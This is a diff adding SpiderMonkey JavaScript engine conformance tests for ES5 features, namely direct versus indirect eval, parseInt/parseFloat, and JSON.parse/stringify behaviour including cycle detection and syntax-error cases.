@@ -0,0 +1,68 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+print("(eval)(...) is a direct eval, (1, eval)() isn't, etc.");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/*
+ * Justification:
+ *
+ * https://mail.mozilla.org/pipermail/es5-discuss/2010-October/003724.html
+ *
+ * Note also bug 537673.
+ */
+
+var t = "global";
+
+function group()
+{
+ var t = "local";
+ return (eval)("t");
+}
+assertEq(group(), "local");
+
+function groupAndComma()
+{
+ var t = "local";
+ return (1, eval)("t");
+}
+assertEq(groupAndComma(), "global");
+
+function groupAndTrueTernary()
+{
+ var t = "local";
+ return (true ? eval : null)("t");
+}
+assertEq(groupAndTrueTernary(), "global");
+
+function groupAndEmptyStringTernary()
+{
+ var t = "local";
+ return ("" ? null : eval)("t");
+}
+assertEq(groupAndEmptyStringTernary(), "global");
+
+function groupAndZeroTernary()
+{
+ var t = "local";
+ return (0 ? null : eval)("t");
+}
+assertEq(groupAndZeroTernary(), "global");
+
+function groupAndNaNTernary()
+{
+ var t = "local";
+ return (0 / 0 ? null : eval)("t");
+}
+assertEq(groupAndNaNTernary(), "global");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Global/parseFloat-01.js b/js/src/tests/ecma_5/Global/parseFloat-01.js
new file mode 100644
index 000000000..089c0901e
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/parseFloat-01.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 613492;
+var summary = "ES5 15.1.2.3 parseFloat(string)";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(parseFloat("Infinity"), Infinity);
+assertEq(parseFloat("+Infinity"), Infinity);
+assertEq(parseFloat("-Infinity"), -Infinity);
+
+assertEq(parseFloat("inf"), NaN);
+assertEq(parseFloat("Inf"), NaN);
+assertEq(parseFloat("infinity"), NaN);
+
+assertEq(parseFloat("nan"), NaN);
+assertEq(parseFloat("NaN"), NaN);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Global/parseInt-01.js b/js/src/tests/ecma_5/Global/parseInt-01.js
new file mode 100644
index 000000000..041708669
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/parseInt-01.js
@@ -0,0 +1,170 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 577536;
+var summary = "ES5 15.1.2.2 parseInt(string, radix)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var str, radix;
+var upvar;
+
+/* 1. Let inputString be ToString(string). */
+
+assertEq(parseInt({ toString: function() { return "17" } }, 10), 17);
+
+upvar = 0;
+str = { get toString() { upvar++; return function() { upvar++; return "12345"; } } };
+assertEq(parseInt(str, 10), 12345);
+assertEq(upvar, 2);
+
+
+/*
+ * 2. Let S be a newly created substring of inputString consisting of the first
+ * character that is not a StrWhiteSpaceChar and all characters following
+ * that character. (In other words, remove leading white space.)
+ */
+
+var ws =
+ ["\t", "\v", "\f", " ", "\xA0", "\uFEFF",
+ "\u2004", "\u3000", // a few Unicode whitespaces
+ "\r", "\n", "\u2028", "\u2029"];
+
+str = "8675309";
+for (var i = 0, sz = ws.length; i < sz; i++)
+{
+ assertEq(parseInt(ws[i] + str, 10), 8675309);
+ for (var j = 0, sz = ws.length; j < sz; j++)
+ {
+ assertEq(parseInt(ws[i] + ws[j] + str, 10), 8675309,
+ ws[i].charCodeAt(0).toString(16) + ", " +
+ ws[j].charCodeAt(0).toString(16));
+ }
+}
+
+
+/*
+ * 3. Let sign be 1.
+ * 4. If S is not empty and the first character of S is a minus sign -, let
+ * sign be −1.
+ */
+str = "5552368";
+assertEq(parseInt("-" + str, 10), -parseInt(str, 10));
+assertEq(parseInt(" -" + str, 10), -parseInt(str, 10));
+assertEq(parseInt("-", 10), NaN);
+assertEq(parseInt("", 10), NaN);
+assertEq(parseInt("-0", 10), -0);
+
+
+/*
+ * 5. If S is not empty and the first character of S is a plus sign + or a
+ * minus sign -, then remove the first character from S.
+ */
+assertEq(parseInt("+12345", 10), 12345);
+assertEq(parseInt(" +12345", 10), 12345);
+assertEq(parseInt("-12345", 10), -12345);
+assertEq(parseInt(" -12345", 10), -12345);
+
+
+/*
+ * 6. Let R = ToInt32(radix).
+ */
+
+upvar = "";
+str =
+ { toString: function() { if (!upvar) upvar = "string"; return "42"; } };
+radix =
+ { toString: function() { if (!upvar) upvar = "radix"; return "10"; } };
+
+assertEq(parseInt(str, radix), 42);
+assertEq(upvar, "string");
+
+assertEq(parseInt("123", null), 123);
+assertEq(parseInt("123", undefined), 123);
+assertEq(parseInt("123", NaN), 123);
+assertEq(parseInt("123", -0), 123);
+assertEq(parseInt("10", 72057594037927950), 16);
+assertEq(parseInt("10", -4294967292), 4);
+assertEq(parseInt("0x10", 1e308), 16);
+assertEq(parseInt("10", 1e308), 10);
+assertEq(parseInt("10", { valueOf: function() { return 16; } }), 16);
+
+
+/*
+ * 7. Let stripPrefix be true.
+ * 8. If R ≠ 0, then
+ * a. If R < 2 or R > 36, then return NaN.
+ * b. If R ≠ 16, let stripPrefix be false.
+ * 9. Else, R = 0
+ * a. Let R = 10.
+ * 10. If stripPrefix is true, then
+ * a. If the length of S is at least 2 and the first two characters of S
+ * are either “0x” or “0X”, then remove the first two characters from S and
+ * let R = 16.
+ */
+var vs = ["1", "51", "917", "2343", "99963"];
+for (var i = 0, sz = vs.length; i < sz; i++)
+ assertEq(parseInt(vs[i], 0), parseInt(vs[i], 10), "bad " + vs[i]);
+
+assertEq(parseInt("0x10"), 16);
+assertEq(parseInt("0x10", 0), 16);
+assertEq(parseInt("0x10", 16), 16);
+assertEq(parseInt("0x10", 8), 0);
+assertEq(parseInt("-0x10", 16), -16);
+
+assertEq(parseInt("5", 1), NaN);
+assertEq(parseInt("5", 37), NaN);
+assertEq(parseInt("5", { valueOf: function() { return -1; } }), NaN);
+
+
+/*
+ * 11. If S contains any character that is not a radix-R digit, then let Z be
+ * the substring of S consisting of all characters before the first such
+ * character; otherwise, let Z be S.
+ * 12. If Z is empty, return NaN.
+ */
+assertEq(parseInt(""), NaN);
+assertEq(parseInt("ohai"), NaN);
+assertEq(parseInt("0xohai"), NaN);
+assertEq(parseInt("-ohai"), NaN);
+assertEq(parseInt("+ohai"), NaN);
+assertEq(parseInt(" ohai"), NaN);
+
+assertEq(parseInt("0xaohai"), 10);
+assertEq(parseInt("hohai", 18), 17);
+
+
+/*
+ * 13. Let mathInt be the mathematical integer value that is represented by Z
+ * in radix-R notation, using the letters A-Z and a-z for digits with
+ * values 10 through 35. (However, if R is 10 and Z contains more than 20
+ * significant digits, every significant digit after the 20th may be
+ * replaced by a 0 digit, at the option of the implementation; and if R is
+ * not 2, 4, 8, 10, 16, or 32, then mathInt may be an implementation-
+ * dependent approximation to the mathematical integer value that is
+ * represented by Z in radix-R notation.)
+ * 14. Let number be the Number value for mathInt.
+ * 15. Return sign × number.
+ */
+assertEq(parseInt("ohai", 36), 1142154);
+assertEq(parseInt("0ohai", 36), 1142154);
+assertEq(parseInt("00ohai", 36), 1142154);
+assertEq(parseInt("A", 16), 10);
+assertEq(parseInt("0A", 16), 10);
+assertEq(parseInt("00A", 16), 10);
+assertEq(parseInt("A", 17), 10);
+assertEq(parseInt("0A", 17), 10);
+assertEq(parseInt("00A", 17), 10);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Global/parseInt-default-to-decimal.js b/js/src/tests/ecma_5/Global/parseInt-default-to-decimal.js
new file mode 100644
index 000000000..b2e1378a4
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/parseInt-default-to-decimal.js
@@ -0,0 +1,31 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 583925;
+var summary =
+ "parseInt should treat leading-zero inputs (with radix unspecified) as " +
+ "decimal, not octal (this changed in bug 786135)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(parseInt("08"), 8);
+assertEq(parseInt("09"), 9);
+assertEq(parseInt("014"), 14);
+
+function strictParseInt(s) { "use strict"; return parseInt(s); }
+
+assertEq(strictParseInt("08"), 8);
+assertEq(strictParseInt("09"), 9);
+assertEq(strictParseInt("014"), 14);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Global/shell.js b/js/src/tests/ecma_5/Global/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Global/shell.js
diff --git a/js/src/tests/ecma_5/JSON/browser.js b/js/src/tests/ecma_5/JSON/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/browser.js
diff --git a/js/src/tests/ecma_5/JSON/cyclic-stringify-unrelated.js b/js/src/tests/ecma_5/JSON/cyclic-stringify-unrelated.js
new file mode 100644
index 000000000..127c2ca60
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/cyclic-stringify-unrelated.js
@@ -0,0 +1,39 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1197097;
+var summary = "JSON.stringify shouldn't use context-wide cycle detection";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr;
+
+// Nested yet separate JSON.stringify is okay.
+arr = [{}];
+assertEq(JSON.stringify(arr, function(k, v) {
+ assertEq(JSON.stringify(arr), "[{}]");
+ return v;
+}), "[{}]");
+
+// SpiderMonkey censors cycles in array-joining. This mechanism must not
+// interfere with the cycle detection in JSON.stringify.
+arr = [{
+ toString: function() {
+ var s = JSON.stringify(arr);
+ assertEq(s, "[{}]");
+ return s;
+ }
+}];
+assertEq(arr.join(), "[{}]");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/cyclic-stringify.js b/js/src/tests/ecma_5/JSON/cyclic-stringify.js
new file mode 100644
index 000000000..5eb6273a9
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/cyclic-stringify.js
@@ -0,0 +1,100 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 578273;
+var summary =
+ "ES5: Properly detect cycles in JSON.stringify (throw TypeError, check for " +
+ "cycles rather than imprecisely rely on recursion limits)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// objects
+
+var count = 0;
+var desc =
+ {
+ get: function() { count++; return obj; },
+ enumerable: true,
+ configurable: true
+ };
+var obj = Object.defineProperty({ p1: 0 }, "p2", desc);
+
+try
+{
+ var str = JSON.stringify(obj);
+ assertEq(false, true, "should have thrown, got " + str);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "wrong error type: " + e.constructor.name);
+ assertEq(count, 1,
+ "cyclic data structures not detected immediately");
+}
+
+count = 0;
+var obj2 = Object.defineProperty({}, "obj", desc);
+try
+{
+ var str = JSON.stringify(obj2);
+ assertEq(false, true, "should have thrown, got " + str);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "wrong error type: " + e.constructor.name);
+ assertEq(count, 2,
+ "cyclic data structures not detected immediately");
+}
+
+
+// arrays
+
+var count = 0;
+var desc =
+ {
+ get: function() { count++; return arr; },
+ enumerable: true,
+ configurable: true
+ };
+var arr = Object.defineProperty([], "0", desc);
+
+try
+{
+ var str = JSON.stringify(arr);
+ assertEq(false, true, "should have thrown, got " + str);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "wrong error type: " + e.constructor.name);
+ assertEq(count, 1,
+ "cyclic data structures not detected immediately");
+}
+
+count = 0;
+var arr2 = Object.defineProperty([], "0", desc);
+try
+{
+ var str = JSON.stringify(arr2);
+ assertEq(false, true, "should have thrown, got " + str);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "wrong error type: " + e.constructor.name);
+ assertEq(count, 2,
+ "cyclic data structures not detected immediately");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse-arguments.js b/js/src/tests/ecma_5/JSON/parse-arguments.js
new file mode 100644
index 000000000..d7ed6d73b
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse-arguments.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'parse-arguments.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 653847;
+var summary = "JSON.parse handling of omitted arguments";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ var r = JSON.parse();
+ throw new Error("didn't throw, returned " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true, "expected syntax error, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse-array-gc.js b/js/src/tests/ecma_5/JSON/parse-array-gc.js
new file mode 100644
index 000000000..f617ea66d
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse-array-gc.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = "parse-array-gc.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 852563;
+var summary =
+ "IdValuePair::value should be initialized to avoid GC sequence-point issues";
+
+print(BUGNUMBER + ": " + summary);
+
+print("Note: You must run this test under valgrind to be certain it passes");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x;
+
+if (typeof gczeal === "function")
+ gczeal(2, 1);
+x = JSON.parse('{"foo":[]}');
+Object.getPrototypeOf(x.foo) == Array.prototype;
+x = JSON.parse('{"foo":[], "bar":[]}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+if (typeof gczeal === "function")
+ gczeal(0);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse-crockford-01.js b/js/src/tests/ecma_5/JSON/parse-crockford-01.js
new file mode 100644
index 000000000..5be9e90ed
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse-crockford-01.js
@@ -0,0 +1,121 @@
+var str =
+ '[\n' +
+ ' "JSON Test Pattern pass1",\n' +
+ ' {"object with 1 member":["array with 1 element"]},\n' +
+ ' {},\n' +
+ ' [],\n' +
+ ' -42,\n' +
+ ' true,\n' +
+ ' false,\n' +
+ ' null,\n' +
+ ' {\n' +
+ ' "integer": 1234567890,\n' +
+ ' "real": -9876.543210,\n' +
+ ' "e": 0.123456789e-12,\n' +
+ ' "E": 1.234567890E+34,\n' +
+ ' "": 23456789012E66,\n' +
+ ' "zero": 0,\n' +
+ ' "one": 1,\n' +
+ ' "space": " ",\n' +
+ ' "quote": "\\"",\n' +
+ ' "backslash": "\\\\",\n' +
+ ' "controls": "\\b\\f\\n\\r\\t",\n' +
+ ' "slash": "/ & \\/",\n' +
+ ' "alpha": "abcdefghijklmnopqrstuvwyz",\n' +
+ ' "ALPHA": "ABCDEFGHIJKLMNOPQRSTUVWYZ",\n' +
+ ' "digit": "0123456789",\n' +
+ ' "0123456789": "digit",\n' +
+ ' "special": "`1~!@#$%^&*()_+-={\':[,]}|;.</>?",\n' +
+ ' "hex": "\\u0123\\u4567\\u89AB\\uCDEF\\uabcd\\uef4A",\n' +
+ ' "true": true,\n' +
+ ' "false": false,\n' +
+ ' "null": null,\n' +
+ ' "array":[ ],\n' +
+ ' "object":{ },\n' +
+ ' "address": "50 St. James Street",\n' +
+ ' "url": "http://www.JSON.org/",\n' +
+ ' "comment": "// /* <!-- --",\n' +
+ ' "# -- --> */": " ",\n' +
+ ' " s p a c e d " :[1,2 , 3\n' +
+ '\n' +
+ ',\n' +
+ '\n' +
+ '4 , 5 , 6 ,7 ],"compact":[1,2,3,4,5,6,7],\n' +
+ ' "jsontext": "{\\"object with 1 member\\":[\\"array with 1 element\\"]}",\n' +
+ ' "quotes": "&#34; \\u0022 %22 0x22 034 &#x22;",\n' +
+ ' "\\/\\\\\\"\\uCAFE\\uBABE\\uAB98\\uFCDE\\ubcda\\uef4A\\b\\f\\n\\r\\t`1~!@#$%^&*()_+-=[]{}|;:\',./<>?"\n' +
+ ': "A key can be any string"\n' +
+ ' },\n' +
+ ' 0.5 ,98.6\n' +
+ ',\n' +
+ '99.44\n' +
+ ',\n' +
+ '\n' +
+ '1066,\n' +
+ '1e1,\n' +
+ '0.1e1,\n' +
+ '1e-1,\n' +
+ '1e00,2e+00,2e-00\n' +
+ ',"rosebud"]\n';
+
+var x = JSON.parse(str);
+
+assertEq(x[0], "JSON Test Pattern pass1");
+assertEq(x[1]["object with 1 member"][0], "array with 1 element");
+assertEq(x[2].constructor, Object);
+assertEq(x[3].constructor, Array);
+assertEq(x[4], -42);
+assertEq(x[5], true);
+assertEq(x[6], false);
+assertEq(x[7], null);
+assertEq(x[8].constructor, Object);
+assertEq(x[8]["integer"], 1234567890);
+assertEq(x[8]["real"], -9876.543210);
+assertEq(x[8]["e"], 0.123456789e-12);
+assertEq(x[8]["E"], 1.234567890E+34);
+assertEq(x[8][""], 23456789012E66);
+assertEq(x[8]["zero"], 0);
+assertEq(x[8]["one"], 1);
+assertEq(x[8]["space"], " ");
+assertEq(x[8]["quote"], "\"");
+assertEq(x[8]["backslash"], "\\");
+assertEq(x[8]["controls"], "\b\f\n\r\t");
+assertEq(x[8]["slash"], "/ & /");
+assertEq(x[8]["alpha"], "abcdefghijklmnopqrstuvwyz");
+assertEq(x[8]["ALPHA"], "ABCDEFGHIJKLMNOPQRSTUVWYZ");
+assertEq(x[8]["digit"], "0123456789");
+assertEq(x[8]["0123456789"], "digit");
+assertEq(x[8]["special"], "`1~!@#$%^&*()_+-={':[,]}|;.</>?");
+assertEq(x[8]["hex"], "\u0123\u4567\u89AB\uCDEF\uabcd\uef4A");
+assertEq(x[8]["true"], true);
+assertEq(x[8]["false"], false);
+assertEq(x[8]["null"], null);
+assertEq(x[8]["array"].length, 0);
+assertEq(x[8]["object"].constructor, Object);
+assertEq(x[8]["address"], "50 St. James Street");
+assertEq(x[8]["url"], "http://www.JSON.org/");
+assertEq(x[8]["comment"], "// /* <!-- --");
+assertEq(x[8]["# -- --> */"], " ");
+assertEq(x[8][" s p a c e d "].length, 7);
+assertEq(x[8]["compact"].length, 7);
+assertEq(x[8]["jsontext"], "{\"object with 1 member\":[\"array with 1 element\"]}");
+assertEq(x[8]["quotes"], "&#34; \u0022 %22 0x22 034 &#x22;");
+assertEq(x[8]["\/\\\"\uCAFE\uBABE\uAB98\uFCDE\ubcda\uef4A\b\f\n\r\t`1~!@#$%^&*()_+-=[]{}|;:',./<>?"], "A key can be any string");
+assertEq(x[9], 0.5);
+assertEq(x[10], 98.6);
+assertEq(x[11], 99.44);
+assertEq(x[12], 1066);
+assertEq(x[13], 1e1);
+assertEq(x[14], 0.1e1);
+assertEq(x[15], 1e-1);
+assertEq(x[16], 1e00);
+assertEq(x[17], 2e+00);
+assertEq(x[18], 2e-00);
+assertEq(x[19], "rosebud");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse-mega-huge-array.js b/js/src/tests/ecma_5/JSON/parse-mega-huge-array.js
new file mode 100644
index 000000000..8f1c192c1
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse-mega-huge-array.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'parse-mega-huge-array.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 667527;
+var summary = "JSON.parse should parse arrays of essentially unlimited size";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var body = "0,";
+for (var i = 0; i < 21; i++)
+ body = body + body;
+var str = '[' + body + '0]';
+
+var arr = JSON.parse(str);
+assertEq(arr.length, Math.pow(2, 21) + 1);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse-number-syntax.js b/js/src/tests/ecma_5/JSON/parse-number-syntax.js
new file mode 100644
index 000000000..42dbbe0b4
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse-number-syntax.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+testJSON('-', true);
+testJSON('+', true);
+testJSON('-f', true);
+testJSON('+f', true);
+testJSON('00', true);
+testJSON('01', true);
+testJSON('1.', true);
+testJSON('1.0e', true);
+testJSON('1.0e+', true);
+testJSON('1.0e-', true);
+testJSON('1.0e+z', true);
+testJSON('1.0e-z', true);
+testJSON('1.0ee', true);
+testJSON('1.e1', true);
+testJSON('1.e+1', true);
+testJSON('1.e-1', true);
+testJSON('.', true);
+testJSON('.1', true);
+testJSON('.1e', true);
+testJSON('.1e1', true);
+testJSON('.1e+1', true);
+testJSON('.1e-1', true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse-octal-syntax-error.js b/js/src/tests/ecma_5/JSON/parse-octal-syntax-error.js
new file mode 100644
index 000000000..f7b0a13a6
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse-octal-syntax-error.js
@@ -0,0 +1,8 @@
+testJSON('{"Numbers cannot have leading zeroes": 013}', true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse-primitives.js b/js/src/tests/ecma_5/JSON/parse-primitives.js
new file mode 100644
index 000000000..450e1a657
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse-primitives.js
@@ -0,0 +1,62 @@
+var x;
+
+// check an empty object, just for sanity
+var emptyObject = "{}";
+x = JSON.parse(emptyObject);
+assertEq(typeof x, "object");
+assertEq(x instanceof Object, true);
+
+x = JSON.parse(emptyObject);
+assertEq(typeof x, "object");
+
+// booleans and null
+x = JSON.parse("true");
+assertEq(x, true);
+
+x = JSON.parse("true ");
+assertEq(x, true);
+
+x = JSON.parse("false");
+assertEq(x, false);
+
+x = JSON.parse(" null ");
+assertEq(x, null);
+
+// numbers
+x = JSON.parse("1234567890");
+assertEq(x, 1234567890);
+
+x = JSON.parse("-9876.543210");
+assertEq(x, -9876.543210);
+
+x = JSON.parse("0.123456789e-12");
+assertEq(x, 0.123456789e-12);
+
+x = JSON.parse("1.234567890E+34");
+assertEq(x, 1.234567890E+34);
+
+x = JSON.parse(" 23456789012E66 \r\r\r\r \n\n\n\n ");
+assertEq(x, 23456789012E66);
+
+// strings
+x = JSON.parse('"foo"');
+assertEq(x, "foo");
+
+x = JSON.parse('"\\r\\n"');
+assertEq(x, "\r\n");
+
+x = JSON.parse(' "\\uabcd\uef4A"');
+assertEq(x, "\uabcd\uef4A");
+
+x = JSON.parse('"\\uabcd" ');
+assertEq(x, "\uabcd");
+
+x = JSON.parse('"\\f"');
+assertEq(x, "\f");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse-reviver-array-delete.js b/js/src/tests/ecma_5/JSON/parse-reviver-array-delete.js
new file mode 100644
index 000000000..c34305878
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse-reviver-array-delete.js
@@ -0,0 +1,89 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'parse-reviver-array-delete.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 999999;
+var summary = "JSON.parse with a reviver which elides array elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/*
+ * The reviver deletes all properties from the to-be-returned array. Thus
+ * stringification reveals properties on the prototype chain -- but there are
+ * none, so this result is unsurprising.
+ */
+assertEq(JSON.parse('[1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0]',
+ function revive(k, v)
+ {
+ if (k === "")
+ return v;
+ return undefined;
+ }) + "",
+ ",,,,,,,,,,,,,,,,,,,");
+
+/*
+ * Now let's try a reviver that deletes every property but a mega-huge one.
+ */
+var str = "[";
+var expected = "";
+var expected2 = "";
+for (var i = 0; i < 2048; i++)
+{
+ str += "1,";
+ if (i === 2047)
+ {
+ expected += "1";
+ expected2 += "1";
+ }
+ if (i === 3)
+ expected2 += "17";
+ expected += ",";
+ expected2 += ",";
+}
+str += "1]";
+
+assertEq(JSON.parse(str,
+ function reviver(k, v)
+ {
+ if (k === "" || k === "2047")
+ return v;
+ return undefined;
+ }) + "",
+ expected);
+
+
+Array.prototype[3] = 17;
+
+/* Now, with a property on the prototype chain, it'll show through. */
+assertEq(JSON.parse('[1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0]',
+ function revive(k, v)
+ {
+ if (k === "")
+ return v;
+ return undefined;
+ }) + "",
+ ",,,17,,,,,,,,,,,,,,,,");
+
+
+/* And here too. */
+assertEq(JSON.parse(str,
+ function reviver(k, v)
+ {
+ if (k === "" || k === "2047")
+ return v;
+ return undefined;
+ }) + "",
+ expected2);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse-reviver.js b/js/src/tests/ecma_5/JSON/parse-reviver.js
new file mode 100644
index 000000000..41e3daf70
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse-reviver.js
@@ -0,0 +1,45 @@
+function doubler(k, v)
+{
+ assertEq(typeof k, "string");
+
+ if (typeof v == "number")
+ return 2 * v;
+
+ return v;
+}
+
+var x = JSON.parse('{"a":5,"b":6}', doubler);
+assertEq(x.hasOwnProperty('a'), true);
+assertEq(x.hasOwnProperty('b'), true);
+assertEq(x.a, 10);
+assertEq(x.b, 12);
+
+x = JSON.parse('[3, 4, 5]', doubler);
+assertEq(x[0], 6);
+assertEq(x[1], 8);
+assertEq(x[2], 10);
+
+// make sure reviver isn't called after a failed parse
+var called = false;
+function dontCallMe(k, v)
+{
+ called = true;
+}
+
+try
+{
+ JSON.parse('{{{{{{{}}}}', dontCallMe);
+ throw new Error("didn't throw?");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true, "wrong exception: " + e);
+}
+assertEq(called, false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse-syntax-errors-01.js b/js/src/tests/ecma_5/JSON/parse-syntax-errors-01.js
new file mode 100644
index 000000000..cbb49b0eb
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse-syntax-errors-01.js
@@ -0,0 +1,13 @@
+testJSON("{}...", true);
+testJSON('{"foo": truBBBB}', true);
+testJSON('{foo: truBBBB}', true);
+testJSON('{"foo": undefined}', true);
+testJSON('{"foo": ]', true);
+testJSON('{"foo', true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse-syntax-errors-02.js b/js/src/tests/ecma_5/JSON/parse-syntax-errors-02.js
new file mode 100644
index 000000000..b304e07ca
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse-syntax-errors-02.js
@@ -0,0 +1,43 @@
+testJSON('"Unterminated string literal', true);
+testJSON('["Unclosed array"', true);
+testJSON('{unquoted_key: "keys must be quoted"}', true);
+testJSON('["extra comma",]', true);
+testJSON('["double extra comma",,]', true);
+testJSON('[ , "<-- missing value"]', true);
+testJSON('["Comma after the close"],', true);
+testJSON('["Extra close"]]', true);
+testJSON('{"Extra comma": true,}', true);
+testJSON('{"Extra value after close": true} "misplaced quoted value"', true);
+testJSON('{"Illegal expression": 1 + 2}', true);
+testJSON('{"Illegal invocation": alert()}', true);
+testJSON('{"Numbers cannot be hex": 0x14}', true);
+testJSON('["Illegal backslash escape: \\x15"]', true);
+testJSON('[\\naked]', true);
+testJSON('["Illegal backslash escape: \\017"]', true);
+testJSON('{"Missing colon" null}', true);
+testJSON('{"Double colon":: null}', true);
+testJSON('{"Comma instead of colon", null}', true);
+testJSON('["Colon instead of comma": false]', true);
+testJSON('["Bad value", truth]', true);
+testJSON("['single quote']", true);
+testJSON('[" tab character in string "]', true);
+testJSON('["tab\\ character\\ in\\ string\\ "]', true);
+testJSON('["line\rbreak"]', true);
